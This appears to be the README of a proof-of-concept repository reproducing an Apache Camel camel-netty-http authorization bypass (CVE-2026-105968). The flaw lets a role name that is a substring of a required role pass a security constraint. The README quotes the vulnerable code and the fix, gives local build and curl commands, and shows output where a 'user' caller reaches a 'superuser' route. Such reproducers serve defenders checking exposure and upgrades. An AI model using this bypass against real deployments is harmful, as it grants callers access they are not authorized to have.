
Runnable proof-of-concept reproducer for CVE-2026-105968, demonstrating substring role matching in Apache Camel camel-netty-http security constraints on Spring Boot and Quarkus.
Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the roles declared in a
camel-netty-http security constraint were compared to the authenticated roles using substring matching
rather than exact comparison:
// affected: HttpServerChannelHandler.matchesRoles()
for (String userRole : ObjectHelper.createIterable(userRoles)) {
if (roles.contains(userRole)) { // the CONSTRAINT string searched for the CALLER's role
return true;
}
}
A role whose name merely contained a required role as a substring therefore satisfied a constraint it should not, so a caller could reach a route whose authorization it was not entitled to pass.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-netty-http 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Camel Quarkus 3.40.1 and later already carry the fixed Camel 4.22.2; 3.40.0 (Camel 4.22.1) is still affected.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Output on an affected build (identical on both runtimes):
Wiring check, so the verdict below means something:
endpoint : http://0.0.0.0:8081/api
securityConfiguration : attached
authenticate / scheme : true / Basic
securityConstraint : set
roles required for /admin: superuser (relative to the endpoint path)
1) No credentials at all
HTTP 401 refused
2) root, whose role IS 'superuser' - the intended caller
HTTP 200 ADMITTED
3) alice, whose only role is 'user' - a substring of 'superuser'
HTTP 200 ADMITTED
4) CONTROL - guest, whose role 'guest' is not a substring of 'superuser'
HTTP 401 refused
5) CONTROL - the excluded /api/public path, anonymously
HTTP 200 ADMITTED (the constraint machinery is live and this path is meant to be open)
>>> PROVEN: ...
'superuser'.contains("user") is true, so alice, who holds only the ordinary user role, reaches a route
restricted to superuser. Because the whole comma-separated constraint string is searched, a role that
matches across the separator would do just as well.
A netty-http route whose securityConfiguration failed to attach answers 200 to everything, which looks
exactly like a total authorization bypass. The driver therefore prints what the running endpoint actually
has attached, and the two controls (anonymous and the unrelated guest role, both 401) show the check is
live. Only the substring relationship grants the access.
Note for anyone adapting this: security-constraint paths are relative to the endpoint URI.
HttpServerChannelHandler.extractTarget()strips the consumer's own path before matching, so the route listens on/apiwithmatchOnUriPrefix=trueand the constraint is declared as/admin. Declaring the constraint as the consumer's full path matches nothing, leaves the route unrestricted, and produces a convincing-looking but meaningless "bypass".
No identity provider and no network. A SecurityAuthenticator stands in for the user directory with three
accounts, each holding the single role its name suggests:
| account | role | relationship to the required superuser |
|---|---|---|
root | superuser | the role the constraint asks for |
alice | user | a substring of it |
guest | guest | unrelated |
The real NettyHttpSecurityConfiguration, the real SecurityConstraintMapping and the real
HttpServerChannelHandler run; the driver makes ordinary HTTP Basic requests and reports the status codes.
| Property | Value |
|---|---|
| Component | camel-netty-http (HttpServerChannelHandler.matchesRoles()) |
| CWE | Authorization bypass through an incorrect role comparison |
| Severity | Medium |
| Attack vector | Authenticating with a role whose name is a substring of a role the constraint requires |
| Impact | Reaching a route whose authorization the caller was not entitled to pass |
| Affected Versions | 4.0.0 before 4.18.6; 4.19.0 before 4.22.2 |
| Fixed Versions | 4.18.6, 4.22.2, 4.23.0 |
| JIRA | CAMEL-25376 |
| Credit | Andrea Cosentino from Apache Software Foundation |
Advisory: https://camel.apache.org/security/CVE-2026-105968.html
Constraint roles are parsed into a set of names and compared by exact value:
Set<String> names = roleNames(roles);
for (String userRole : ObjectHelper.createIterable(userRoles)) {
if (names.contains(userRole.trim())) {
return true;
}
}
Set camel.version to 4.22.2 and run it again. Verified against 4.22.1 -> 4.22.2:
2) root, whose role IS 'superuser' HTTP 200 ADMITTED
3) alice, whose only role is 'user' HTTP 401 refused
4) CONTROL - guest HTTP 401 refused
5) CONTROL - /api/public anonymously HTTP 200 ADMITTED
>>> NOT reproduced: the 'user' role was refused.
The intended caller still gets in and the public path stays open, so the fix closes the bypass without breaking the constraint.
This repository is published for educational and defensive purposes: to help Apache Camel users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. Do not use this material against systems you do not own or operate.